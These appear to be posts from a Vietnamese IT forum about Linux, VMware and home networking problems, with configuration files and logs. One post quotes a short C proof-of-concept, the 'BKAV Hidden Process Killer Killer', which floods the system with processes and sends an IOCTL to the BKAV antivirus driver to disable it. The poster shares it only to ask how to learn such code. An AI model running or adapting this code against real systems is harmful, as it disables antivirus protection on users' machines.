|
|
Chào mọi người, hiện tôi đang dùng distro Back Track final 4. Sau khi dùng được 1 2 ngày bình thường, đến hôm nay tôi gặp một lỗi là khi dùng bàn phím phải giữ các nút rất lâu mới hiện chữ, kiểu như muốn gõ chữ A, B, C thì phải giữ một chút mới hiện ABC. Tôi đã thử các bàn phím khác đều không bị, tôi gõ trong chế độ tty thì không bị như vậy, nhưng cứ vào hẳn GNOME mà gõ bất cứ cái gì đều chậm chậm như vậy. Như vậy là máy tôi bị lỗi gì nhỉ?Mọi người đã ai gặp lỗi này chưa?
|
|
|
các anh có thể up lại cho em xem cái file tcpdump được không ạ? 45M ấy, em tải link kia chết rồi. Cám ơn các anh.
|
|
|
trang này nhiều sách và là 1 trang kiếm tiền dựa vào hotfile, nên chủ site này ko thích người Việt Nam down sách.
|
|
|
Chào mọi người, hiện tại mình đang học môn công nghệ mạng.Mình được thầy giáo phân nghiên cứu về FDDI (Fiber Distributed Data Interface ) 1 công nghệ được sử dụng trong mạng Lan sử dụng cáp quang .Mình muốn hỏi về công nghệ này có phổ biến ở Việt Nam mình không, và thường áp dụng nó khi nào, theo mình biết từ trước đến giờ thì công nghệ Lan chủ yếu là Ethernet được dùng.
Ngoài ra mình muốn hỏi có chương trình giả lập mạng FDDI không? giống như packet tracer vậy ?
Mình học ở Hà Nội , rất muốn được nhìn tận mắt mạng FDDI thế nào , thiết bị phần cứng .....anh chị ở trong diễn đàn mình mà công ty có sử dụng công nghệ mạng này thì có thể cho em tiếp cận xem được không?.
Cám ơn mọi người .
|
|
|
vâng cám ơn 2 anh đã trả lời , em hiểu rồi.
|
|
|
Hi mọi người, em có câu hỏi hơi củ chuối hỏi muốn mọi người.Em đã học qua C và C++, dùng turbo C 3.0 để lập trình.Em muốn hỏi là làm sao để lập trình các chương trình trên windows , chẳng hạn các chương trình chat p2p chẳng hạn, có thể dùng chính turbo C 3.0 lập trình được ko .Em thấy rất nhiều đoạn code exploit ở nhiều nơi, đa phần thấy chủ yếu là C , nhưng mà những kiểu đó em chưa gặp bao giờ và cũng đọc trong sách cũng chưa gặp bao giờ , em muốn hỏi là để học và hiểu được những đoạn code dưới kia thì cần phải học cái gì, đọc sách nào.Và em là dân theo networking thì nên học ngôn ngữ lập trình nào để bổ trợ tốt cho ngành này.
/**
* BKAV Hidden Process Killer Killer (hpk-killer)
* Copyright 2008 Blue Moon Consulting
*/
#include <stdlib.h>
#include <stdio.h>
#include <process.h>
#include <windows.h>
#define HPK_DEVICE_NAME "\\\\.\\hpk"
#define IOCTL_HPK_QUERY_PROCESSES 0x80106004
#define PROCESS_ID_ARRAY_SIZE 0x200
static void QueryProcesses(void)
{
HANDLE hFile;
DWORD dwReturn;
DWORD buffer[PROCESS_ID_ARRAY_SIZE];
hFile = CreateFile(HPK_DEVICE_NAME, 1, 1, 0, 3, 0x80, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
printf("Querying processes");
DeviceIoControl(hFile, IOCTL_HPK_QUERY_PROCESSES, 0, 0, buffer, PROCESS_ID_ARRAY_SIZE, &dwReturn, 0);
CloseHandle(hFile);
}
}
int main(int argc, char **argv)
{
int i, count;
if (argc < 2)
{
printf("Usage: %s <number_of_processes>\n", argv[0]);
sleep(60 * 1000);
}
else
{
count = atoi(argv[1]);
printf("Spawning %d processes...\n", count);
for (i = 0; i < count; i++)
{
spawnl(P_DETACH, argv[0], argv[0], NULL);
}
printf("Killing hpk...\n");
QueryProcesses();
}
}
Cùng là một ngôn ngữ lập trình C thì có thể lập trình trên cả DOS và WINDOWS phải không ạ? Em dùng turbo C 3 .0 lập trình thì là chỉ lập trình cho nền DOS phải không à? Mọi người cho em một lời khuyên !
|
|
|
anpha3 wrote:
nhưng set gateway như thế nào hả bạn, có phải đánh lênh :gateway=192.168.1.1
thêm dòng GATEWAY 192.168.1.1 vào hồ sơ
Code:
|
|
|
anpha3 wrote:
hiện tại mình đang dùng redhat9 trên máy ảo VMware5, mấy hôm nay loay hoay tìm cách để connect to network nhưng ko được.
với VMware mình đã để VMnet0(default Bridged)
mình có đọc được 1 bài viết trong diễn đàn nói về việc tương tự. trích dẫn khá dài dong nhưng tóm lại nó
nói là set ip cho máy ảo và máy thật cùng 1 dãy ip...
sau khi set ip cho máy ảo.
trong redhat sau khi gõ ifconfig thì nó hiện ra như sau:
eth0: Link encap:Ethernet HWaddr 00:0C:29:7D:01:B1
inet addr:192.168.1.34 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
.............
lo Link encap:local Loopback
inet addr:127.0.0.1 Mask:255.255.255.0
còn trong máy thật (win xp)
Ethernet adapter VMware Network Adapter VMnet8:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.245.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter VMware Network Adapter VMnet1:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.31.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.33
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
ping thì cả 2 đều nhận ra nhau nhưng mở moliza lên thì vẫn ko vào net được.
hiện tại mh đang dùng internet của fpt modem Zyxel 4 cổng
Bạn set IP cho máy ảo nhưng chưa set defautl gateway cho máy ảo ?
Bạn view thử lệnh
Code:
cat /etc/sysconfig/network
để coi xem đã đặt defautl gateway chưa?
Nếu chưa có dòng
Code:
thì bạn thêm vào.
|
|
|
Chào mọi người , tớ bị mất mạng nên giờ mới post bài được :
đây là output
Code:
why@debian:~$ ls -la /root
total 656
drwxr-xr-x 34 root root 4096 2008-03-14 19:54 .
drwxr-xr-x 24 root root 4096 2007-12-13 10:53 ..
drwx------ 3 root root 4096 2007-12-13 01:26 .adobe
-rw-r--r-- 1 root root 45 2007-12-10 01:23 apt-howto
drwx------ 2 root root 4096 2007-12-08 17:16 .aptitude
-rw------- 1 root root 8011 2008-03-14 19:54 .bash_history
-rw-r--r-- 1 root root 412 2004-12-15 17:53 .bashrc
drwxr-xr-x 4 root root 4096 2007-12-11 19:40 .config
drwxr-xr-x 4 root root 4096 2008-01-10 21:56 Desktop
-rw------- 1 root root 26 2007-12-08 22:35 .dmrc
drwxr-xr-x 3 root root 4096 2007-12-12 09:30 .evolution
drwx------ 2 root root 4096 2007-12-13 00:07 .fr-fFnj9j
drwx------ 4 root root 4096 2008-03-14 19:54 .gaim
drwx------ 5 root root 4096 2008-03-14 19:03 .gconf
drwx------ 2 root root 4096 2008-03-14 19:54 .gconfd
drwxr-xr-x 4 root root 4096 2007-12-14 00:08 .gnome
drwx------ 13 root root 4096 2008-01-29 16:38 .gnome2
drwx------ 2 root root 4096 2007-12-08 22:35 .gnome2_private
drwxr-xr-x 2 root root 4096 2007-12-11 19:36 .gstreamer-0.10
-rw------- 1 root root 12 2008-01-19 15:41 .gtk-bookmarks
-rw-r--r-- 1 root root 81 2007-12-08 22:35 .gtkrc-1.2-gnome2
-rw------- 1 root root 2862 2008-03-14 19:03 .ICEauthority
-rw------- 1 root root 35 2008-01-16 00:52 .lesshst
drwx------ 4 root root 4096 2008-01-10 23:30 .liferea
drwxr-xr-x 3 root root 4096 2007-12-11 19:33 .local
drwx------ 3 root root 4096 2007-12-13 01:26 .macromedia
drwxr-xr-x 3 root root 4096 2007-12-14 00:08 .menu
drwx------ 3 root root 4096 2007-12-08 22:35 .metacity
-rw-r--r-- 1 root root 248917 2008-01-02 17:25 mirrors_full
drwx------ 4 root root 4096 2007-12-13 01:26 .mozilla
-rw------- 1 root root 80 2008-01-31 01:03 .mysql_history
drwxr-xr-x 3 root root 4096 2008-01-22 01:51 .nautilus
-rw-r--r-- 1 root root 20480 2007-12-13 12:06 nautilus-debug-log.txt
drwx------ 3 root root 4096 2008-01-22 00:23 .openoffice.org2
-rw-r--r-- 1 root root 110 2004-11-10 11:10 .profile
-rw------- 1 root root 77234 2008-01-29 15:39 .recently-used
-rw-r--r-- 1 root root 51943 2008-01-22 01:51 .recently-used.xbel
-rw------- 1 root root 1024 2007-12-13 00:22 .rnd
-rw------- 1 root root 51 2007-12-13 14:26 .serverauth.2285
-rw------- 1 root root 102 2008-01-22 00:09 .serverauth.6185
-rw-r--r-- 1 root root 715 2007-12-11 20:39 source.list
-rw-r--r-- 1 root root 360 2007-12-12 21:31 sources.list
drwx------ 2 root root 4096 2007-12-12 15:47 .stardict
-rw------- 1 root root 12288 2007-12-12 08:42 .sudo.swp
drwx------ 3 root root 4096 2008-02-21 20:56 .synaptic
-rw-r--r-- 1 root root 17357 2007-12-12 22:06 thebestofmirro.odt
drwx------ 4 root root 4096 2007-12-11 20:47 .thumbnails
drwx------ 2 root root 4096 2008-01-10 21:57 .Trash
-rw-r--r-- 1 root root 26 2007-12-11 19:40 Unsaved Document 1
-rw-r--r-- 1 root root 140 2008-01-11 02:56 Unsaved Document 1sdf
drwx------ 2 root root 4096 2007-12-08 22:35 .update-notifier
drwxr-xr-x 2 root root 4096 2007-12-13 00:23 vmware
drwxr-xr-x 2 root root 4096 2007-12-13 20:56 .vmware
drwx------ 2 root root 4096 2007-12-09 21:30 .w3m
drwxr-xr-x 4 root root 4096 2008-01-10 21:19 .wine
drwxr-xr-x 2 root root 4096 2007-12-13 01:20 .wireshark
-rw------- 1 root root 49 2008-03-14 19:54 .Xauthority
drwxr-xr-x 2 root root 4096 2007-12-09 21:31 .xine
-rw-r--r-- 1 root root 3010 2008-03-14 19:54 .xsession-errors
-rw-r--r-- 1 root root 665 2008-01-22 00:18 .xvnkbrc
why@debian:~$
Màn hình tớ và icon sau khi cài
Còn đây là màn hình lúc ban đầu chưa cài :
Do chi tiết gói cài lâu ròi mình không nhớ,nhưng mà đến chiều về tớ sẽ cài lại lên VMware để output hết cho mọi người thấy, hix giờ tớ phải đi học đã.
|
|
|
quanta wrote:
mulpu wrote:
Chào mọi người, hiện tại em đang dùng distro debian.Cách đây vài hôm em cài 1 chương trình wireshark 1.00 thì máy nó bắt nâng cấp nhiều gói và trong đó em đã nâng câp luôn cả gnome, sau đó thấy màn hình đẹp hơn rất nhiều, icon cũng đẹp hợn, nhưng lại xảy ra vấn đề là user thông thường lại hoàn toàn có thể vào các thư mục chỉ cho root như /root.... có thể đọc được tài liệu trong thư mục đó, điều này chưa từng xảy ra trước đấy, vì trong quá trình cài wireshark và gnome có quá nhiều gói phụ thuộc nên em không biét gói nào ảnh hưởng đến điều này, vậy ai biết thì có thể bảo em với, ngoài ra cái gói đó còn mount tự động hộ mình usb khi cắm vào nữa.
Lạ nhỉ, đã ai gặp trường hợp này khi dùng bất cứ một Linux distro nào chưa?
Hiện tại 1 người bạn em cũng mới dùng Debian 4 và cài bộ gõ tiếng việt theo hướng dẫn sau : http://saylinux.wordpress.com/2007/04/27/cai_dat_bo_go_tieng_viet_xvnkb_cho_ubuntu/ và cũng thấy tự dưng màn hình đẹp hơn và icon cũng vậy, không nâng cấp Gnome gì cả,và sự phân quyền cũng bi lộn xộn. Em cũng không hiểu vì sao nữa, cũng đang xem xét các gói liên quan đến bộ gõ tiếng việt kia.Em đang xem lại gói xorg-dev.
@K4i: chỉ cần chmod lại thì coi như là ban đầu phải ko anh?Liệu còn phải để ý đến cái gì nữa ko anh? À em thấy nó tự nhận USB , hiện lên màn hình khi cắm vào ấy, em cũng nghĩ do gói đó ảnh hưởng , mình có thể loại bỏ tự động nhận USB đó được không anh?
|
|
|
Chào mọi người, hiện tại em đang dùng distro debian.Cách đây vài hôm em cài 1 chương trình wireshark 1.00 thì máy nó bắt nâng cấp nhiều gói và trong đó em đã nâng câp luôn cả gnome, sau đó thấy màn hình đẹp hơn rất nhiều, icon cũng đẹp hợn, nhưng lại xảy ra vấn đề là user thông thường lại hoàn toàn có thể vào các thư mục chỉ cho root như /root.... có thể đọc được tài liệu trong thư mục đó, điều này chưa từng xảy ra trước đấy, vì trong quá trình cài wireshark và gnome có quá nhiều gói phụ thuộc nên em không biét gói nào ảnh hưởng đến điều này, vậy ai biết thì có thể bảo em với, ngoài ra cái gói đó còn mount tự động hộ mình usb khi cắm vào nữa.
|
|
|
Dark_kazansky wrote:
GW của modem ý( Không đổi được thì làm thế nào để sign in vào modem này mà không phải modem kia ?? ( )
cho mình hướng dẫn chi tiết được không. khoảng mạng này mình mù căng trải vì mình là designer mà
Ý bạn là muốn cấu hình 1 trong 2 modem mà cả modem đều có gateway là 192.168.1.1 à, bạn sợ nhầm lẫn 1 trong 2 phải ko, thế thì rút từng cái ra cấu hình.Còn lại cấu hình như bác ghost chắc là ok.
|
|
|
Dùng adminpak.msi
http://www.microsoft.com/downloads/details.aspx?FamilyID=c16ae515-c8f4-47ef-a1e4-a8dcbacff8e3&displaylang=en
bạn thử coi .
|
|
|
bạn xem trình duyệt của bạn có dùng proxy hay socks nào ko , chắc chúng die rồi nên không duyệt web được chăng.
|
|
|
Trường tớ đào tạo thiên về mạng, cũng đã nặng rồi,tự đánh giá bản thân cũng ko phải ngưồi học lập trình tốt nên mới muốn đi học.Bác nào biết nơi uy tín thì bảo tớ nhé.
|
|
|
Choen wrote:
Do người học nhìu hơn là do trung tâm ^^ Nếu thix thì Aptech hoặc NIIT là 2 lựa chọn
Hình như Aptech và NIIT đào tạo lập trình chứ nhỉ.Học quản trị mạng thì học MCSA ấy bạn ạ.Học ở VNE hoặc BK đều được.
|
|
|
Hiện giờ tớ muốn tìm 1 lớp học lập trình C++ ở Hà Nội, tớ ko có điều kiện học lập trình ở các trung tâm lớn như Aptech ... chỉ có khoảng tầm <200$, muốn đầu tư 1 khóa để cho tốt, cũng đã có kiến thức về lập trình C mức căn bản.Bạn nào biết địa chỉ nào đào tạo có uy tín thì chỉ giúp với.
|
|
|
Code:
search server
nameserver 192.168.1.1
nameserver 210.245.0.10
hi bạn,của tớ dùng FPT.Tất nhiên modem vẫn sáng chứ !
Code:
cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
allow-hotplug eth0
iface eth0 inet static
address 192.168.1.10
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
tóm lại là sau khi khởi động máy sau đó mới bật modem thì ko vào đựoc mạng,ko biết có cách nào ko?
đây là khi mình có mạng
Code:
ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:17:31:0C:F3:60
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::217:31ff:fe0c:f360/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1362 errors:0 dropped:0 overruns:0 frame:0
TX packets:1301 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1247542 (1.1 MiB) TX bytes:187134 (182.7 KiB)
Interrupt:185 Base address:0xe000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:560 (560.0 b) TX bytes:560 (560.0 b)
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
vmnet8 Link encap:Ethernet HWaddr 00:50:56:C0:00:08
inet addr:172.16.66.1 Bcast:172.16.66.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fec0:8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
khi mình bật modem sau khi khởi động máy
Code:
ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:17:31:0C:F3:60
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:68 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:22698 (22.1 KiB) TX bytes:0 (0.0 b)
Interrupt:185 Base address:0x4000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:32 errors:0 dropped:0 overruns:0 frame:0
TX packets:32 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2767 (2.7 KiB) TX bytes:2767 (2.7 KiB)
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
vmnet8 Link encap:Ethernet HWaddr 00:50:56:C0:00:08
inet addr:172.16.66.1 Bcast:172.16.66.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fec0:8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
nam@debian:~$ sudo /etc/init.d/networking start
Configuring network interfaces...done.
nam@debian:~$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
From 192.168.1.10 icmp_seq=2 Destination Host Unreachable
nam@debian:~$ ip link set eth0 up
nam@debian:~$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
From 192.168.1.10 icmp_seq=1 Destination Host Unreachable
tớ vẫn ping 127.0.0.1 được .Hay là distro này không cho "cắm nóng" nhỉ ? Tớ cũng mới tìm hiểu linux thôi nên ko biết được nguyên nhân.
|
|
|
Tớ dùng net trên debian hiện tại gặp 1 vấn đề sau:
-Vẫn dùng net bình thường , nhưng mình có thói quen bật máy tính vào debian rồi bật cái modem lên. Và kết quả là ko vào được mạng :
đã dùng lệnh ,tớ dùng ip tĩnh,ko dùng dhcp.
Code:
sudo /etc/init.d/networking start | restart |stop
nhiều lần nhưng vấn ko vào được mạng Vì thế lại phải khởi động lại máy mới vào được ,khá là bất tiện.Nhưng nếu đang dùng net mà mất mạng,( mình thử tắt modem đi), rồi bật lại sau đó lại dùng lệnh trên thì lại vẫn vào được. Vậy nguyên nhân là do đâu vậy các bạn? Có cách nào khắc phục ko ?
|
|
|
FaL wrote:
@mulpu:
+ Để screen có thể hiển thị đúng đòi hỏi Device và Monitor phải đúng. Ở đây Device xác định VGA card, còn monitor xác định màn hình của bạn. VGA chắc là không vấn đề gì, FaL nghĩ đây là vấn đề về monitor. Trong log cũng đã không xác đinh
Code:
Section "Monitor"
Identifier "PnP Monitor"
Option "DPMS"
Bạn xem xác định lại cho chuẩn Section "Monitor" này với các thông số thích hợp. Trong log cũng không nhận được monitor nên dùng default là 640x480.
(II) RADEON(0): Primary:
Monitor -- NONE
Connector -- VGA
DAC Type -- Primary
TMDS Type -- NONE
DDC Type -- CRT2_DDC
thật là tuyệt, mình đã sửa lại một số thứ và đã chạy được ok rồi, xin post lại file xorg.conf đó lên cho mọi người cùng xem
Code:
# /etc/X11/xorg.conf (xorg X Window System server configuration file)
#
# This file was generated by dexconf, the Debian X Configuration tool, using
# values from the debconf database.
#
# Edit this file with caution, and see the /etc/X11/xorg.conf manual page.
# (Type "man /etc/X11/xorg.conf" at the shell prompt.)
#
# This file is automatically updated on xserver-xorg package upgrades *only*
# if it has not been modified since the last upgrade of the xserver-xorg
# package.
#
# If you have edited this file but would like it to be automatically updated
# again, run the following command:
# sudo dpkg-reconfigure -phigh xserver-xorg
Section "Files"
FontPath "/usr/share/fonts/X11/misc"
FontPath "/usr/X11R6/lib/X11/fonts/misc"
FontPath "/usr/share/fonts/X11/cyrillic"
FontPath "/usr/X11R6/lib/X11/fonts/cyrillic"
FontPath "/usr/share/fonts/X11/100dpi/:unscaled"
FontPath "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
FontPath "/usr/share/fonts/X11/75dpi/:unscaled"
FontPath "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
FontPath "/usr/share/fonts/X11/Type1"
FontPath "/usr/X11R6/lib/X11/fonts/Type1"
FontPath "/usr/share/fonts/X11/100dpi"
FontPath "/usr/X11R6/lib/X11/fonts/100dpi"
FontPath "/usr/share/fonts/X11/75dpi"
FontPath "/usr/X11R6/lib/X11/fonts/75dpi"
# path to defoma fonts
FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"
EndSection
Section "Module"
Load "i2c"
Load "bitmap"
Load "ddc"
Load "dri"
Load "extmod"
Load "freetype"
Load "glx"
Load "int10"
Load "vbe"
EndSection
Section "InputDevice"
Identifier "Generic Keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc104"
Option "XkbLayout" "us"
EndSection
Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ImPS/2"
Option "Emulate3Buttons" "true"
EndSection
Section "Device"
Identifier "ATI Technologies Inc RC410 [Radeon Xpress 200]"
Driver "ati"
BusID "PCI:1:5:0"
EndSection
Section "Monitor"
Identifier "Samsung Monitor"
Option "DPMS"
HorizSync 31.5-80
VertRefresh 58-85
EndSection
Section "Screen"
Identifier "Default Screen"
Device "ATI Technologies Inc RC410 [Radeon Xpress 200]"
Monitor "Samsung Monitor"
DefaultDepth 16
SubSection "Display"
Depth 1
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 4
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 8
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 16
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 24
Modes "1024x768"
EndSubSection
EndSection
Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
InputDevice "Generic Keyboard"
InputDevice "Configured Mouse"
EndSection
Section "DRI"
Mode 0666
EndSection
Cám ơn mọi người rất nhiều .
|
|
|
Mr.Khoai wrote:
Bạn có thể post nội dung của /var/log/X.org.0.log lên không? Một cách test nữa là bạn hãy bỏ hết các modes không muốn dùng mà chỉ sử dụng một mode: Code:
Bạn thử cho cả với depth là 16 và 24 xem sao.
khoai
Code:
X Window System Version 7.1.1
Release Date: 12 May 2006
X Protocol Version 11, Revision 0, Release 7.1.1
Build Operating System: UNKNOWN
Current Operating System: Linux debian 2.6.18-5-686 #1 SMP Fri Jun 1 00:47:00 UTC 2007 i686
Build Date: 04 April 2007
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Module Loader present
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/Xorg.0.log", Time: Sun Dec 9 18:35:39 2007
(==) Using config file: "/etc/X11/xorg.conf"
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) | |-->Monitor "PnP Monitor"
(**) | |-->Device "ATI Technologies Inc RC410 [Radeon Xpress 200]"
(**) |-->Input Device "Generic Keyboard"
(**) |-->Input Device "Configured Mouse"
(WW) The directory "/usr/X11R6/lib/X11/fonts/misc" does not exist.
Entry deleted from font path.
(WW) The directory "/usr/share/fonts/X11/cyrillic" does not exist.
Entry deleted from font path.
(WW) The directory "/usr/X11R6/lib/X11/fonts/cyrillic" does not exist.
Entry deleted from font path.
(WW) The directory "/usr/X11R6/lib/X11/fonts/100dpi/" does not exist.
Entry deleted from font path.
(WW) The directory "/usr/X11R6/lib/X11/fonts/75dpi/" does not exist.
Entry deleted from font path.
(WW) The directory "/usr/X11R6/lib/X11/fonts/Type1" does not exist.
Entry deleted from font path.
(WW) The directory "/usr/X11R6/lib/X11/fonts/100dpi" does not exist.
Entry deleted from font path.
(WW) The directory "/usr/X11R6/lib/X11/fonts/75dpi" does not exist.
Entry deleted from font path.
(WW) The directory "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType" does not exist.
Entry deleted from font path.
(**) FontPath set to:
/usr/share/fonts/X11/misc,
/usr/share/fonts/X11/100dpi/:unscaled,
/usr/share/fonts/X11/75dpi/:unscaled,
/usr/share/fonts/X11/Type1,
/usr/share/fonts/X11/100dpi,
/usr/share/fonts/X11/75dpi
(==) RgbPath set to "/etc/X11/rgb"
(==) ModulePath set to "/usr/lib/xorg/modules"
(II) Open ACPI successful (/var/run/acpid.socket)
(II) Module ABI versions:
X.Org ANSI C Emulation: 0.3
X.Org Video Driver: 1.0
X.Org XInput driver : 0.6
X.Org Server Extension : 0.3
X.Org Font Renderer : 0.5
(II) Loader running on linux
(II) LoadModule: "bitmap"
(II) Loading /usr/lib/xorg/modules/fonts/libbitmap.so
(II) Module bitmap: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
Module class: X.Org Font Renderer
ABI class: X.Org Font Renderer, version 0.5
(II) Loading font Bitmap
(II) LoadModule: "pcidata"
(II) Loading /usr/lib/xorg/modules/libpcidata.so
(II) Module pcidata: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Video Driver, version 1.0
(++) using VT number 7
(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:00:0: chip 1002,5a33 card 1043,819a rev 01 class 06,00,00 hdr 00
(II) PCI: 00:01:0: chip 1002,5a3f card 0000,0000 rev 00 class 06,04,00 hdr 01
(II) PCI: 00:05:0: chip 1002,5a37 card 0000,0000 rev 00 class 06,04,00 hdr 01
(II) PCI: 00:1a:0: chip 10b9,5249 card 0000,0000 rev 00 class 06,04,00 hdr 01
(II) PCI: 00:1c:0: chip 10b9,5237 card 1043,8056 rev 03 class 0c,03,10 hdr 80
(II) PCI: 00:1c:1: chip 10b9,5237 card 1043,8056 rev 03 class 0c,03,10 hdr 80
(II) PCI: 00:1c:2: chip 10b9,5237 card 1043,8056 rev 03 class 0c,03,10 hdr 80
(II) PCI: 00:1c:3: chip 10b9,5239 card 1043,8056 rev 01 class 0c,03,20 hdr 80
(II) PCI: 00:1d:0: chip 10b9,5461 card 1043,81b3 rev 02 class 04,03,00 hdr 00
(II) PCI: 00:1e:0: chip 10b9,1575 card 10b9,1575 rev 00 class 06,01,00 hdr 80
(II) PCI: 00:1e:1: chip 10b9,7101 card 0000,0000 rev 00 class 06,80,00 hdr 80
(II) PCI: 00:1f:0: chip 10b9,5229 card 1043,8056 rev c8 class 01,01,8a hdr 80
(II) PCI: 00:1f:1: chip 10b9,5288 card 1043,8056 rev 10 class 01,01,85 hdr 80
(II) PCI: 01:05:0: chip 1002,5a61 card 1043,819a rev 00 class 03,00,00 hdr 00
(II) PCI: 02:00:0: chip 10ec,8168 card 1043,8168 rev 01 class 02,00,00 hdr 00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (0,0,3), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 0 I/O range:
[0] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
[0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
[0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B]
(II) PCI-to-PCI bridge:
(II) Bus 1: bridge is at (0:1:0), (0,1,1), BCTRL: 0x000a (VGA_EN is set)
(II) Bus 1 I/O range:
[0] -1 0 0x0000d000 - 0x0000dfff (0x1000) IX[B]
(II) Bus 1 non-prefetchable memory range:
[0] -1 0 0xc0000000 - 0xdfefffff (0x1ff00000) MX[B]
(II) Bus 1 prefetchable memory range:
[0] -1 0 0x80000000 - 0x9fffffff (0x20000000) MX[B]
(II) PCI-to-PCI bridge:
(II) Bus 2: bridge is at (0:5:0), (0,2,2), BCTRL: 0x0007 (VGA_EN is cleared)
(II) Bus 2 I/O range:
[0] -1 0 0x0000e000 - 0x0000e0ff (0x100) IX[B]
[1] -1 0 0x0000e400 - 0x0000e4ff (0x100) IX[B]
[2] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B]
[3] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B]
(II) Bus 2 non-prefetchable memory range:
[0] -1 0 0xdff00000 - 0xdfffffff (0x100000) MX[B]
(II) PCI-to-PCI bridge:
(II) Bus 3: bridge is at (0:26:0), (0,3,3), BCTRL: 0x0007 (VGA_EN is cleared)
(II) PCI-to-ISA bridge:
(II) Bus -1: bridge is at (0:30:0), (0,-1,-1), BCTRL: 0x0008 (VGA_EN is set)
(--) PCI:*(1:5:0) ATI Technologies Inc RC410 [Radeon Xpress 200] rev 0, Mem @ 0x80000000/28, 0xc0000000/16, I/O @ 0xd000/8, BIOS @ 0xdfee0000/17
(II) Addressable bus resource ranges are
[0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B]
[1] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B]
